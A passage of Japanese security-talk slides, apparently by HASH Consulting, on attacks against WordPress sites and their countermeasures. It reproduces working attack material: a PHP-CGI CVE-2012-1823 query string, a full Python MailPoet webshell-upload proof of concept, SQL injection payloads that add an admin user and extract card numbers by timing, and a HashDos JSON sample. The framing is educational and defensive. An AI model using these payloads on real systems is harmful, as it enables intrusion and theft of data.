| WP SEOブログ この攻撃についての手口は下記のページにて書かれています。 CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記 今日の昼間自分が発見したアクセスログもまさにこれで、こういうPOSTリクエストがありました。(実際はこれをURL エンコードしていた) /?-n+-d+disable_functions=%22%22+-d+safe_mode=0+-d+suhosin.simulation=1+-d+open_basedir=none+- d+allow_url_include=1+-d+allow_url_fopen=1+-d+auto_prepend_file=php://input これは上のページにあるCGI版PHPへの脆弱性攻撃そのままで、これで.htaccessを上書きされていたようです。 12http://www.php-zfex.jp/blog/2012/05/23/htaccess-kaizan_3/ より引用
13.
Copyright © 2012-2015
HASH Consulting Corp. 13 デモ: • CGI版PHPのスクリプト実行可能な脆弱性 CVE-2012-1823により、××ポップを狙った 攻撃を再現 • PNG画像に偽装したPHPスクリプトにより、 JavaScriptファイルを差し替え、サイト閲覧 者にウイルス感染させる
14.
WordPress本体の脆弱性 Copyright © 2012-2015
HASH Consulting Corp. 14
15.
WordPressは他のCMSと比べて 脆弱なのか? Copyright © 2012-2015
HASH Consulting Corp. 15
16.
そうとは言えない Copyright © 2012-2015
HASH Consulting Corp. 16
17.
17 http://www.atmarkit.co.jp/ait/articles/1510/30/news069.html より引用 JoomlaのSQLインジェクション
18.
Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」 オープンソースのコンテンツ管理システム(CMS)「Drupal」に極めて深 刻な脆弱(ぜいじゃく)性が見つかった問題で、Drupalは10月29日、脆弱 性修正のパッチを直後に適用しなかったWebサイトは侵入された可能性 があると警告した。米セキュリティ機関のUS-CERTも、アップデートや回 避策の適用を呼びかけている。 問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.xに存在 する。悪用された場合、攻撃者にバックドアを仕掛けられ、サイトの全デー タをコピーされる恐れがある。攻撃の痕跡は残らない。この脆弱性を修正 した「Drupal 7.32」は10月15日にリリースされた。 Drupalによると、この10月15日の発表の直後から、脆弱性を修正してい ないWebサイトに対する攻撃が始まった。「すべてのDrupal 7サイトは、世 界協定時間の10月15日午後11時(日本時間16日午前8時)までにアップ デートまたはパッチを適用していない限り、破られたと想定して対処しなけ ればならない」とDrupalは警告する。 18http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html
より引用
19.
WordPressのプラグインの脆弱性 …は残念ながら多い Copyright © 2012-2015
HASH Consulting Corp. 19
20.
20 http://www.itmedia.co.jp/enterprise/articles/1407/03/news040.html より引用
21.
JVNDB-2014-003582 WordPress 用 MailPoet
Newsletters プラグインにおける認証を回避される脆弱性 概要 WordPress 用 MailPoet Newsletters (wysija-newsletters) プラグインには、認証を回避され、任意 の PHP コードを実行される脆弱性が存在します。 CVSS による深刻度 (CVSS とは?) • 基本値: 7.5 (危険) [NVD値] • 攻撃元区分: ネットワーク • 攻撃条件の複雑さ: 低 • 攻撃前の認証要否: 不要 • 機密性への影響(C): 部分的 • 完全性への影響(I): 部分的 • 可用性への影響(A): 部分的 影響を受けるシステム MailPoet • MailPoet Newsletters 2.6.7 未満 想定される影響 第三者により、wp-admin/admin-post.php を使用する巧妙に細工されたテーマをアップロードされ、 wp-content/uploads/wysija/themes/mailp/ 内のテーマにアクセスされることで、認証を回避され、任 意の PHP コードを実行される可能性があります。 21 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-003582.html より引用
22.
巧妙に細工されたテーマ? Copyright © 2012-2015
HASH Consulting Corp. 22
23.
PoC #!/usr/bin/env python # -*-
coding: utf-8 -*- from random import choice import string import sys import re from zipfile import ZipFile from StringIO import StringIO import requests from colors import red, green, blue # pip install ansicolors def version_compare(v1, v2): def normalize(v): return [int(x) for x in re.sub(r'(.0+)*$', '', v).split(".")] return cmp(normalize(v1), normalize(v2)) def create_zip_file(theme_name, payload_name, payload): files = { "%s/%s" % (theme_name, 'style.css'): '', "%s/%s" % (theme_name, payload_name): payload } zip_file = StringIO() with ZipFile(zip_file, 'w') as zip: for path in files: zip.writestr(path, files[path]) zip_file.seek(0) return zip_file def check(url): readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url res = requests.get(readme_url, timeout=15, verify=False) if res.status_code == 200: match = re.search("stable tag: (.*)[rn]", res.text, re.I) version = match.group(1) fun = green if version_compare(version, "2.6.7") < 0 else blue print fun("[?] found version: %s" % version) return version_compare(version, "2.6.7") < 0 else: raise Exception("error getting version") def exploit(url, payload_data): theme_name = '.tmp' # better to keep the chaos to one directory. payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php" zip_file = create_zip_file(theme_name, payload_name, payload_data) files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")} data = { "action": "themeupload", "submitter": "Upload", "overwriteexistingtheme": "on" } target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name) print blue("[?] attempting to upload zip (%s)..." % target_url) # Don't rely on checking response, have observed some strange behaviour even with successful upload requests.post(target_url, files=files, data=data, verify=False, timeout=15) print blue("[?] checking upload (%s)..." % payload_url) response = requests.head(payload_url, verify=False, timeout=15) if response.status_code == 200: print green("[+] found: %s" % payload_url) return payload_url else: raise Exception("upload failed.") if __name__ == "__main__": if len(sys.argv) > 2: payload = open(sys.argv[1]).read() wp_url = sys.argv[2] try: if check(wp_url): res = exploit(wp_url, payload) if res: with open("found-sija.log", "a") as log: log.write("%sn" % res) except Exception as e: print red("[!] %s - %s" % (wp_url, e)) 23https://github.com/nosecurity/cve-2014-xxxx-mailpoet-newsletters より引用
24.
難しいので、最低限の形に単純化 してみる Copyright © 2012-2015
HASH Consulting Corp. 24
25.
単純化したら、とても簡単になったw <body> <form action="http://suzuki.jp/wp-admin/admin-post.php? page=xxxxxxxxxxxx&action=xxxxx" method="post" enctype="multipart/form-data"> <input
type="text" name="action" value="xxxxxxxxx"> <input type="text" name="submitter" value="xxxxxxx"> <input type="text" name="xxxxxxxxxxxxx" value="xx"> <input type="file" name="xxxxxxxxx"> <input type="submit" value="攻撃"> </form><br> </body> Copyright © 2012-2015 HASH Consulting Corp. 25 要はファイルを アップロードするだけ
26.
"巧妙に細工したテーマ"はこんな感じ $ unzip -v
exploit.zip Archive: exploit.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 0 Stored 0 0% 2015-10-06 23:11 00000000 exploit/index.html 0 Stored 0 0% 2015-10-06 23:00 00000000 exploit/screenshot.jpg 674 Defl:N 404 40% 2015-10-10 23:26 ad2aad5f exploit/style.css 0 Stored 0 0% 2015-10-06 23:11 00000000 exploit/index.php 94 Defl:N 82 13% 2015-10-06 23:14 4eba8413 exploit/webshell.php -------- ------- --- ------- 768 486 37% 5 files $ Copyright © 2012-2015 HASH Consulting Corp. 26 徳丸が最初に作成した WordPressテーマですw
27.
Copyright © 2012-2015
HASH Consulting Corp. 27 デモ: • MailPoetプラグインの脆弱性を悪用し て、WebShellをアップロード
28.
シンボリックリンク攻撃による情報 漏えい Copyright © 2012-2015
HASH Consulting Corp. 28
29.
Copyright © 2012-2015
HASH Consulting Corp. 29
30.
レンタルサーバーの権限モデル Copyright © 2012-2015
HASH Consulting Corp. 30 /home/suzuki/ /home/tanaka rwx-----x suzuki.LolipopUser rwx-----x tanaka.LolipopUser wp-config.php Apache 権限:nobody コマンド 権限:tanaka コマンド 権限:suzuki rw----r-- suzuki.LolipopUser ファイルのオーナー 別のユーザー Webサーバー
31.
シンボリックリンク攻撃 Copyright © 2012-2015
HASH Consulting Corp. 31 /home/tanaka/ /home/suzuki rwx-----x 所有者:tanaka rwx-----x 所有者: suzuki wp-config.php rwxrwxrwx 所有者: suzuki wp-config.txt Apache 権限:nobody コマンド 権限:suzuki コマンド 権限:suzuki シンボリックリンク rw----r-- 所有者: tanaka 拡張子が.txtなの でソースが閲覧可
32.
Copyright © 2012-2015
HASH Consulting Corp. 32 デモ: • 先ほどsuzukiサイトに設置した WebShellにより、tanakaサイトのwp- config.phpにシンボリックリンクを設置 • MySQLのパスワードを窃取 • phpMyAdminによりコンテンツを改ざん
33.
シンボリックリンク攻撃のまとめ • シンボリックリンクは誰でも作成できる – 権限のないファイルなどにも可能 –
ただし、権限のないファイルを読むことはできない • シンボリックリンクを上位権限を持つプロセス(Apache等)に読み 込ませるのがシンボリックリンク攻撃 • レンタルサーバー運営者はシンボリックリンクを制限すること – FollowSymLinksの禁止 または – SymLinksIfOwnerMatch – ※ Apacheの実装が十分でなく、これは緩和策にしかならない • レンタルサーバー利用者はファイルパーミッションに注意 – HTMLや画像は604 等 – PHP スクリプトは 600 ← これでシンボリックリンク攻撃は防げる – CGI スクリプトは 700 Copyright © 2012-2015 HASH Consulting Corp. 33
34.
カスタマイズ部分の脆弱性 Copyright © 2012-2015
HASH Consulting Corp. 34
35.
サイトにキャンペーン応募ページを追加 35 Copyright © 2012-2015
HASH Consulting Corp.
36.
SQLインジェクション脆弱性のあるソース <?php $name = $_REQUEST['name']; $mail
= $_REQUEST['mail']; $address = $_REQUEST['address']; try { $con = new PDO("mysql:host=localhost;dbname=db;charset=utf8", … $con->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $sql = "INSERT INTO entries VALUES('$name', '$mail', '$address')"; $result = $con->exec($sql); } catch (PDOException $e) { // 何もしない } ?> <p>登録しました</p> Copyright © 2012-2015 HASH Consulting Corp. 36 ここにSQLインジェクション 表示がないので 情報は漏洩しない?
37.
SQLインジェクション攻撃にはプレフィックスとデータベース名が必要 -- ユーザー crack
パスワード a のユーザを作成 INSERT INTO wpdb.wp_users VALUES(NULL, 'crack', MD5('a'), 'crack', 'crack@example.jp', '', NOW(), '', 0, 'crack'); # -- ユーザテストに管理者権限を割当 INSERT INTO wpdb.wp_usermeta SELECT NULL, (SELECT ID FROM wpdb.wp_users WHERE user_login='crack'), meta_key, meta_value FROM wpdb.wp_usermeta WHERE user_id=(SELECT user_id FROM wpdb.wp_usermeta WHERE meta_key='wp_user_level' and meta_value='10' LIMIT 1); # プレフィックス wp_ とデータベース名 wpdb を一般的なものから変えれは攻撃 が難しくなると信じられているが… これらもSQLインジェクション攻撃で盗むことができる! Copyright © 2012-2015 HASH Consulting Corp. 37
38.
時間差を利用して情報を盗む(Time based SQLi) •
sleep関数で 5秒待ち合わせ INSERT INTO entries VALUES('', (SELECT sleep(5)), null) -- ', '', '') • eccube_db.dtb_customer_cardテーブル1行目のcardnumber 列1文字目が 5 の場合のみ5秒待つ INSERT INTO entries VALUES('',(select if(substr((select cardnumber from eccube_db.dtb_customer_card limit 0,1),1,1) = '1',sleep(5),0)), null) -- ','') • これを繰り返すことにより、ECサイトのカード情報を求められる Copyright © 2012-2015 HASH Consulting Corp. 38 続きはデモで 参考: http://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html
39.
Copyright © 2012-2015
HASH Consulting Corp. 39 デモ: • Time based SQLインジェクションにより、 WordPressのデータベース名とプレ フィックスを盗む • SQLインジェクション攻撃により、新しい ユーザとロールを作成 • 作成した管理者ユーザでログイン
40.
One more thing… Copyright
© 2012-2015 HASH Consulting Corp. 40
41.
41 http://blog.hash-c.co.jp/2015/10/phpjson-hashdos.html より引用
42.
json_decodeの入力値でハッシュコリジョンを発生 $body = file_get_contents('php://input');
// POSTデータを取得 $params = json_decode($body); // POSTデータをJSONと してデコード PoC: {"4vq":"key1", "4wP":"key2", "5Uq":"key3", "5VP":"key4", "64q":"key5" … } hash('4vq') = b879fc0 hash('4wP') = b879fc0 hash('5Uq') = b879fc0 hash('5VP') = b879fc0 hash('64q') = b879fc0 … Copyright © 2012-2015 HASH Consulting Corp. 42
43.
Copyright © 2012-2015
HASH Consulting Corp. 43 デモ: • WordPress 3.8までに存在したJSON HashDos可能なファイルを攻撃して、 サイトをアクセス不能にする • WordPress 3.9以降にはこのファイル はありません
44.
対策の考え方 44 Copyright © 2012-2015
HASH Consulting Corp.
45.
パスワード! パスワード! パスワード! •
極論するとユーザ名は"admin"でもよい – adminだと自動攻撃に狙われるのでウザいということ はある • とにかくパスワードをちゃんとすることが重要 – 8文字以上 – 英数字を混ぜる – 辞書に載っている単独はだめ – できればランダム文字列 – 他所で使ってないもの 【重要】 – 管理者が複数存在する場合は、管理者毎にユー ザーを作成する Copyright © 2012-2015 HASH Consulting Corp. 45
46.
ソフトウェアのバージョンアップまたはパッチ適用 • 脆弱性対処は、バージョンアップまたはパッチ適 用が基本 – 自らビルド等している場合はバージョンアップが楽な 場合が多い –
CentOS、Debian、Ubuntu等のディストリビューショ ンのパッケージを導入している場合はパッチ適用 • バージョンアップするとサイトが動かなくなる…な んて心配をしないで、とにかくバージョンアップす ること • 自力でトラブル対処ができないソフトは導入しな いこと Copyright © 2012-2015 HASH Consulting Corp. 46
47.
SiteGuard WP Pluginのすすめ Copyright
© 2012-2015 HASH Consulting Corp. 47 https://wordpress.org/plugins/siteguard/ • SiteGuard の不正ログイン防止に特化したプラグイン • 簡単に導入できて効果が高い • プラグイン自体の脆弱性対策がなされている(重要)
48.
WAF(Web Application Firewall) 48情報処理推進機構(IPA)
WAF読本より引用
49.
SiteGuard WP PluginとWAFで何が防御できる? SiteGuard
WP Plugin WAF パスワード辞書攻撃 ◎ ○ PHP-CGI ◎ MailPoet アップロードバグ ◎ シンボリックリンク攻撃 SQLインジェクション ◎ JSON HashDos ○ Copyright © 2012-2015 HASH Consulting Corp. 49
50.
SQLインジェクションは絶対だめ • 対策は、とにかくプレースホルダを使うこと • 外部入力をSQL文に混ぜない •
WordPressの場合 – $wpdb->prepare('SELECT * … WHERE user_login = %s', $username); • ピュアPHPの場合 – PDOを使う – プレースホルダ – DB接続時に文字エンコーディング指定を忘れない – バインド時に型を指定する Copyright © 2012-2015 HASH Consulting Corp. 50
51.
どんなサーバーを借りたらよいか? Copyright © 2012-2015
HASH Consulting Corp. 51 セキュリティ対策 IaaS/VPS PaaS/レンサバ SaaS WAF 利用者 (事業者) - PHP/Apache 利用者 事業者 事業者 WordPress 利用者 利用者 事業者 プラグイン 利用者 利用者 事業者 カスタマイズ部分 利用者 利用者 - パスワード 利用者 利用者 利用者 • IaaSやVPSは利用者が「全て」の対応をする必要がある • PaaSやレンタルサーバーはインフラの面倒は見てくれる • SaaSの場合、パスワードさえしっかり管理すれば
52.
サーバーはどれがいいの? • 一番良いのはWordPressを自分で建てない • レンタルサーバーは意外に良い –
パッチ適用をやってくれる – 最近のレンサバはWAFがついてくる • VPSやIaaSを使うのなら相応の"覚悟"を – パッチは全部自分であてる – WAFは… Copyright © 2012-2015 HASH Consulting Corp. 52
53.
Copyright © 2012-2015
HASH Consulting Corp. 53 まとめ • WordPressを題材として、Webサイトへの不正ア クセスの手法を紹介 – 不正ログイン – プラットフォーム(PHP等)の脆弱性の悪用 – オープンソースのアプリケーションの脆弱性の悪用 – 自作カスタマイズ部分の脆弱性の悪用 • 不正ログイン対策は、とにかく良質のパスワード をつけること • 脆弱性対策は、パッチ適用かバージョンアップ • 自作アプリケーションの脆弱性対応